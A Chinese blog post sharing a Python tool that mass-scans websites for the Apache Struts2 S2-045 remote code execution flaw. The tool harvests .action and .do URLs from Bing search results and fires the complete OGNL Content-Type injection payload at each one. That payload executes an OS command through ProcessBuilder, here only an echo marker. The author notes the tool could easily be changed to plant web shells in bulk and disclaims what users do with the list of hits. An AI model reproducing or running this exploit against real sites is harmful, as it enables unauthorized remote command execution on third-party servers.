s2-045漏洞批量检测工具
今天晚上看老铁们在群里就这个st2-045漏洞讨论得火热,个人不太喜欢日站,本来想直接写个批量挂马的东西,但是想想还是算了,如果你有兴趣,改改也很容易,反正不关我的事
测试图

2017-3-8更新
- 增加了对.do关键词的支持,并且支持任何关键词了,之前我只考虑到了.action关键词并且写死了规则,py版本已经更新,win版的exe未更新,需要的自行用pyinstaller打包为exe
- 之前采用whoami如果返回200状态码就判断存在漏洞,但是现在很多已经修复了,导致访问之后依旧会跳到正常页面返回200状态码,于是我改了一下判断,执行命令echo xxxx,如果返回结果中含有xxxx就证明漏洞存在
- win版exe已经打包
- 重要:建议大家都使用py版本,经过群友测试,exe版本对中文关键词的支持不太好,会出现错误,如果使用上有问题可评论
- exe版本会出现扫描过慢的情况,强烈建议py版本,鉴于有些朋友说不会配置python环境,我在下面给出了例子
- 有些朋友说自定义关键字字典出错,这里要提一句,你的字典txt的编码需要是utf-8,有些东西因为写的比较快没考虑太全,见谅

依赖包的安装
//首先你需要安装一个python,在安装图中记得把有pip的选项和add python to path类似的选项勾选上,然后安装完成后执行python -version和pip
//如果执行python -version提醒你有问题,试着重启一下cmd或者电脑,或者检查你的path环境变量下有没有python的安装的路径,没有的话就加上
//如果正常证明环境安装成功,如果执行pip提醒你没有pip,就把你python安装路径下的Scripts目录加到path环境变量,然后在命令行在执行以下代码
pip install requests
pip install beautifulsoup4
对于此脚本所放置文件夹下必须有keyword.txt用来存放一行行的关键词
最开始是打算直接全部读取然后一个一个跑,不过感觉时间太漫长,测试时间太久
后来改成关键词就是自己输入,但是又感觉太麻烦
然后就变成了现在的读取关键词然后标号直接输入序号就可以
途中遇到了有的网址直接拒绝访问导致报错,还有的超时一直不返回报文,这些都解决了,个人测试的结果还可以,结果保存在一个txt下,至于你想再干些什么,不关我的事情了
说明
例子:
python s2-045.py 9 10
第一个参数是你的文件名,第二个是关键词所对应的序号,第三个是你需要爬行的页数
序号与关键词的对应,可以直接运行python s2-045.py就可以产看帮助
脚本采用的bing搜索引擎,文件我会打包在下面
上代码,python2和3通用
# encoding:utf-8
import sys,requests
from bs4 import BeautifulSoup
keyword = {}
with open("keyword.txt") as f:
i = 0
for keywordLine in f:
keyword[str(i)] = keywordLine.strip()
i += 1
usage = '''
usage : python s2-045.py 0 10
first parameter is your filename
second parameter is your keyword's number which will be used by Bing
Third parameter is the page number you want to crawl\n'''
def poc(actionURL):
data = '--447635f88b584ab6b8d9c17d04d79918\
Content-Disposition: form-data; name="image1"\
Content-Type: text/plain; charset=utf-8\
\
x\
--447635f88b584ab6b8d9c17d04d79918--'
header = {
"Content-Length" : "155",
"User-Agent" : "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",
"Content-Type" : "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo hereisaexp').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}",
}
try:
request = requests.post(actionURL, data=data, headers=header, timeout = 10)
except:
return "None", "Refused"
return request.text, request.status_code
def returnURLList():
keywordsBaseURL = 'http://cn.bing.com/search?q=' +keyword[sys.argv[1]]+ '&first='
n =0
i = 1
while n < int(sys.argv[2]):
baseURL = keywordsBaseURL + str(i)
try:
req = requests.get(baseURL)
soup = BeautifulSoup(req.text, "html.parser")
text = soup.select('li.b_algo > h2 > a')
if '.action' in keyword[sys.argv[1]]:
standardURL = [url['href'][:url['href'].index('.action')]+'.action' for url in text if '.action' in url['href']]
elif '.do' in keyword[sys.argv[1]]:
standardURL = [url['href'][:url['href'].index('.do')]+'.do' for url in text if '.do' in url['href']]
else:
standardURL = [url['href'] for url in text]
except:
print("HTTPERROR")
continue
i += 10
n += 1
yield standardURL
def main():
if len(sys.argv) != 3:
print(usage)
for k,v in keyword.items():
print("%s is %s"%(k, v))
sys.exit()
for urlList in returnURLList():
for actionURL in urlList:
text, code = poc(actionURL)
if 'hereisaexp' in text:
print(str(code) + "----Successful----" + actionURL + '\n')
with open("AvailableURL.txt","a") as f:
f.write(actionURL+'\n')
else:
print(str(code)+'----'+actionURL+'\n')
if __name__ == '__main__':
main()
打包了win版,大家可以直接使用,例如在该exe目录下执行(更新的并未打包出exe,如有需要可以自行用pyinstaller打包)
s2-045.exe 9 10
其他用法参照上面
转载请注明出处
s2-045漏洞批量检测工具的更多相关文章
- Bash漏洞批量检测工具与修复方案
&amp;lt;img src="http://image.3001.net/images/20140928/14118931103311.jpg!small" t ...
- 【Python】JBOSS-JMX-EJB-InvokerServlet批量检测工具
一.说明 在JBoss服务器上部署web应用程序,有很多不同的方式,诸如:JMX Console.Remote Method Invocation(RMI).JMXInvokerServlet.Htt ...
- Unix/Linux提权漏洞快速检测工具unix-privesc-check
Unix/Linux提权漏洞快速检测工具unix-privesc-check unix-privesc-check是Kali Linux自带的一款提权漏洞检测工具.它是一个Shell文件,可以检测 ...
- [POC]微软3389远程漏洞CVE-2019-0708批量检测工具
0x001 Win下检测 https://github.com/robertdavidgraham/rdpscan C:\Users\K8team\Desktop\rdpscan-master\vs1 ...
- 微软3389远程漏洞CVE-2019-0708批量检测工具
0x001 Win下检测 https://github.com/robertdavidgraham/rdpscan C:\Users\K8team\Desktop\rdpscan-master\vs1 ...
- weblogic 反序列化补丁绕过漏洞的一个批量检测shell脚本(CVE-2017-3248 )
~ 以下内容,仅供学习参考 ~ weblogic 反序列化补丁绕过漏洞已经出了两个月了,balabala ~~~ 废话不说,拿到该漏洞的利用工具weblogic.jar,但只能一个个检测ip和端口,效 ...
- WebLogic中WLS 组件漏洞(CVE-2017-10271)专项检测工具
来源: 时间:2017-12-23 00:00:00 作者: 浏览:1929 次 近期安恒信息在应急响应过程中发现有恶意攻击者利用WebLogic漏洞对企业服务器发起大范围远程攻击,攻击成功后植入挖矿 ...
- Metasploit是一款开源的安全漏洞检测工具,
Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,适合于需要核实漏洞的安全专家,同时也适合于强大进攻能力的 ...
- Retina CS强大漏洞检测工具
RetinaCS强大漏洞检测工具 Eeye数字安全公司成立于上世纪九十年代末期,它是世界领先的安全公司,它采用最新研究成果和创新技术来保证您的网络兄系统安全,并向您提供最强大的如下服务:全面的.漏洞评 ...
随机推荐
- 【转】通过Excel生成批量SQL语句,处理大量数据
经常会遇到这样的要求:用户给发过来一些数据,要我们直接给存放到数据库里面,有的是Insert,有的是Update等等,少量的数据我们可以采取最原始的办法,也就是在SQL里面用Insert into来实 ...
- 按渠道计算 PV 和 UV
按渠道计算 PV 和 UV: ------------------按指定channel_id按月求PV.UV------------ drop table if exists tmp_pvuv; cr ...
- js中时间戳转换成时间格式
js中时间戳转换成时间格式, // 时间戳转换成时间格式 var formatDate = function(date){ date = new Date(date); var y=date.getF ...
- kali 开启ssh服务
1. 一.配置SSH参数 修改sshd_config文件,命令为: vi /etc/ssh/sshd_config 将#PasswordAuthentication no的注释去掉,并且将NO修 ...
- Linux基础命令---tail显示文本
tail 显示文本文件尾部的部分内容,默认显示最后10行. 此命令的适用范围:RedHat.RHEL.Ubuntu.CentOS.SUSE.openSUSE.Fedora. 1.语法 ...
- HADOOP nutch java mysql
下载Hadoop安装包 wget http://apache.fayea.com/hadoop/common/hadoop-2.7.2/hadoop-2.7.2.tar.gz java安装 wg ...
- [转载]Oracle 游标使用全解
这个文档几乎包含了oracle游标使用的方方面面,全部通过了测试 -- 声明游标:CURSOR cursor_name IS select_statement --For 循环游标--(1)定义游标- ...
- 高级架构进阶之HashMap源码就该这么学
引言--面试常见的问题 问:“你用过HashMap,你能跟我说说它吗?” “当然用过,HashMap是一种<key,value>的存储结构,能够快速将key的数据put方式存储起来,然后很 ...
- 删去k个数字后的最小值
public static String removeKDigits(String num,int k) { //新整数的最终长度=原长度 - k int newLength=num.length() ...
- Errors occurred during the build. Errors running builder 'Validation' on pro
选择项目-->右键-->Properties-->Builders 右面有四个选项,把Validation前面勾去掉